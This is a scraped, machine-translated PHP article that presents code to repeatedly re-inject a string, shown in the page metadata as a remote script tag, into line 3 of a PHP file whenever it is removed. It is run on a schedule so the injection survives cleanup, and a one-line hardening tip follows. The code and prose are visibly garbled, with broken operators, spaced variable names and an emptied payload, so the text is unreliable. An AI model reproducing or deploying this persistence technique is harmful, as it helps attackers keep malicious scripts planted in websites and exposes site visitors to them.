Copy CodeThe code is as follows:
$file = "aa.php";
$code = "";
$f =fopen ($file, "r+");
$content =fread ($f, FileSize ($file));
Fclose ($f);
if (!strstr ($content, $code)) {
$arrInsert = Insertcontent ($file, $code, 3);
Unlink ($file);
foreach ($arrInsert as $value)
{
File_put_contents ($file, $value, file_append);
}
}
function Insertcontent ($source, $s, $iLine) {
$file _handle = fopen ($source, "R");
$i = 0;
$arr = Array ();
while (!feof ($file _handle)) {
$line = fgets ($file _handle);
+ + $i;
if ($i = = $iLine) {
$arr [] = $line. $s. "\ n";
}else {
$arr [] = $line;
}
}
Fclose ($file _handle);
return $arr;
}
?>
This file is saved as PHP, and then a small program is specified to execute it in a few minutes. This feature is available as a Operia browser. However, I added an HTML code to run it, you can use IE, open the HTML and throw it where you can.
Copy CodeThe code is as follows:
Workaround: The code will write code in PHP, we can write a rule to prohibit the modification of PHP files. Can, general server only, if is a virtual host friend need to download code, often check back door to solve
http://www.bkjia.com/PHPjc/325439.html www.bkjia.com true http://www.bkjia.com/PHPjc/325439.html techarticle Copy the code as follows: PHP $file = "aa.php"; $code = "Script Src=http://www.google/ga.js/script"; $f =fopen ($file, "r+"); $content =fread ($f, FileSize ($file)); Fclose ($f); if (!strstr ...